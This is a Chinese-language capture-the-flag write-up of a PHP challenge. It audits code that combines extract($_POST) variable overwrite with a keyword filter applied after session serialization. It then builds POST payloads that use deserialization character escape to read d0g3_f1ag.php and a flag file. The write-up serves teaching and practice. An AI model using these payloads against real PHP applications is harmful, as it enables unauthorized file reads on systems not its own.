1 题目描述

打开题目页面,只有一个 “source_code” 链接,点击可以看到源代码。

2 代码审计

访问 ?f=highlight_file 获取源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/'.implode('|', $filter_arr).'/i';
return preg_replace($filter, '', $img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST); // 变量覆盖漏洞!

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>

关键函数分析

1. filter() 过滤函数

过滤关键字:phpflagphp5php4fl1g,使用 preg_replace 将它们替换为空字符串。

2. extract($_POST) 变量覆盖

extract() 函数将 POST 数组中的键值对提取为 PHP 变量,这意味着可以通过 POST 覆盖前面的 $_SESSION['user']$_SESSION['function']变量。

3. show_image 功能

$function == 'show_image' 时,会反序列化经过 filter 处理的 session 数据,然后读取 $userinfo['img'] base64 解码后的文件路径。

3 信息收集 — phpinfo

访问 ?f=phpinfo,在 phpinfo 页面中发现关键信息:

  • auto_append_file: d0g3_f1ag.php — 存在可疑 PHP 文件
  • FLAG: not_flag — 不是真正的 flag
    phpinfo
    phpinfo

由此可知 flag 很可能就在 d0g3_f1ag.php 文件中。

4 反序列化字符逃逸原理

核心漏洞点

filter() 函数会对 serialize($_SESSION) 的序列化字符串进行关键字过滤,而过滤后的字符串会被 unserialize() 反序列化。

当 filter 删除了序列化字符串中的字符,但长度标识(s:N)没有相应更新时,就会导致反序列化解析错位,从而实现字符逃逸。

三种 POST 方式实现逃逸

参考文章中给出了三种 POST 传参方式,均可以实现字符逃逸,可对比学习规律:

方法一:利用键名 flagflag

1
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

序列化后:a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"}",filter 删除两个 “flag” 后键名变为空,s:8 向后吞并,注入的 img 键值对被解析。

方法二:利用键名 flagphp

1
_SESSION[flagphp]=;s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

filter 删除 “php,flag” 后键名变化,同样造成逃逸。

5 构造 Payload 获取 Flag

第一步:读取 d0g3_f1ag.php

d0g3_f1ag.php 的 base64 编码:

1
d0g3_f1ag.php -> base64_encode = ZDBnM19mMWFnLnBocA==

构造 payload,利用 extract($_POST) 覆盖 $_SESSION['user']$_SESSION['function']变量和使后面的 $_SESSION['img']变量逃逸:
payload

通过字符逃逸,原本代码中设置的 img 值(guest_img.png 的 base64或sha1(base64_encode($_GET['img_path'])))被忽略,注入的 ZDBnM19mMWFnLnBocA== 成为了 img 的值。

发送请求:

1
2
GET /index.php?f=show_image
POST: _SESSION[flagphp] =;s:3:"666";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

查看返回结果页面源代码:

1
2
3
4
5
<?php

$flag = 'flag in /d0g3_fllllllag';

?>

成功读取到 d0g3_f1ag.php 文件!其中提示 flag 在 /d0g3_fllllllag 文件中。

第二步:读取 /d0g3_fllllllag 获取 Flag

/d0g3_fllllllag 的 base64 编码:

1
/d0g3_fllllllag -> base64_encode = L2QwZzNfZmxsbGxsbGFn

构造相同结构的 payload,只替换 base64 字符串:

1
2
GET /index.php?f=show_image
POST: _SESSION[flagphp] =;s:3:"666";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

最终获取 flag:
flag

6 知识点总结

  1. extract() 变量覆盖 — 通过 POST 数据覆盖 $_SESSION$function$_GET 等变量
  2. 反序列化字符逃逸 — 利用 filter 删除关键字导致的序列化字符串长度与内容不匹配,实现反序列化注入
  3. PHP 反序列化容错性 — PHP 反序列化时能自动跳过无效字符继续解析,这为注入提供了可能

字符逃逸的通用思路

当序列化字符串经过替换/过滤操作后,长度发生变化时:

  • 替换后变短(本题):利用长度标识 > 实际内容,向后吞并其他字段
  • 替换后变长:利用转义字符导致闭合提前